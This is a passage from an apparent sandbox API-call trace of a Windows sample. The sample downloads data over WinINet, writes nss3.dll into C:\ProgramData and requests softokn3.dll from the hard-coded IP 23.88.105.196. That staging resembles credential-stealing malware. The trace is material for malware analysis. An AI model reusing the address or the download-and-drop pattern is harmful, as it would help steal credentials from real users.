(in: hFile=0xcc000c, lpBuffer=0x337adb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337adb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.320] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337b198, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337b198*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.320] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337b580, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337b580*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.320] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337b968, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337b968*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.320] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337bd50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337bd50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.321] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337c138, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337c138*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.321] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337c520, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337c520*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.321] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337c908, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337c908*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.041] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0141.041] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0141.042] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0141.042] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0141.042] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361068 | out: hHeap=0x2360000) returned 1 [0141.042] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.042] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0141.042] CreateFileA (lpFileName="C:\\ProgramData\\\\nss3.dll" (normalized: "c:\\programdata\\nss3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0141.043] WriteFile (in: hFile=0x28, lpBuffer=0x3687020*, nNumberOfBytesToWrite=0x1303d0, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x3687020*, lpNumberOfBytesWritten=0x19f7cc*=0x1303d0, lpOverlapped=0x0) returned 1 [0141.085] CloseHandle (hObject=0x28) returned 1 [0141.141] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.141] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0141.141] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361068 [0141.141] GetLastError () returned 0x0 [0141.141] SetLastError (dwErrCode=0x0) [0141.141] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0141.141] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0141.141] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0141.141] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/softokn3.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0141.142] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23611c0 [0141.142] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0141.142] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0141.142] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0141.142] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0141.142] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0141.142] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0141.227] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.227] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3687020, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3687020*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.228] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3687408, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3687408*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36877f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36877f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3687bd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3687bd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3687fc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3687fc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36883a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36883a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3688790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3688790*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3688b78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3688b78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3688f60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3688f60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3689348, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3689348*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3689730, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3689730*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3689b18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3689b18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3689f00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3689f00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368a2e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368a2e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368a6d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368a6d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368aab8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368aab8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368aea0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368aea0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368b288, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368b288*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368b670, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368b670*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368ba58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368ba58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368be40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368be40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368c228, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368c228*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368c610, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368c610*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368c9f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368c9f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368cde0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368cde0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368d1c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368d1c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368d5b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368d5b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368d998, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368d998*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368dd80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368dd80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368e168, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368e168*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368e550, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368e550*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368e938, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368e938*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368ed20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368ed20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368f108, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368f108*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368f4f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368f4f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368f8d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368f8d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368fcc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368fcc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36900a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36900a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3690490, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3690490*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3690878, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3690878*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3690c60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3690c60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3691048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3691048*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3691430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3691430*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3691818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3691818*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3691c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3691c00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3691fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3691fe8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36923d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36923d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36927b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36927b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3692ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3692ba0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3692f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3692f88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3693370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3693370*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3693758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3693758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3693b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3693b40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3693f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3693f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3694310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3694310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36946f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36946f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3694ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3694ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3694ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3694ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36952b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36952b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3695698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3695698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3695a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3695a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3695e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3695e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3696250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3696250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3696638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3696638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3696a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3696a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3696e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3696e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36971f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36971f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36975d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36975d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36979c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36979c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3697da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3697da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3698190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3698190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3698578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3698578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3698960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3698960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.244] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3698d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3698d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.244] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3699130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3699130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.244] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3699518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3699518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.244] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3699900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3699900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.244] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3699ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3699ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.245] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369a0d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369a0d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.245] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369a4b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369a4b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.245] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369a8a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369a8a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.245] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369ac88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369ac88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.246] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369b070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369b070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.246] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369b458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369b458*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.246] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369b840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369b840*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.246] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369bc28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369bc28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.247] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369c010, dwNumberOfBytesToRead=0x3e8, 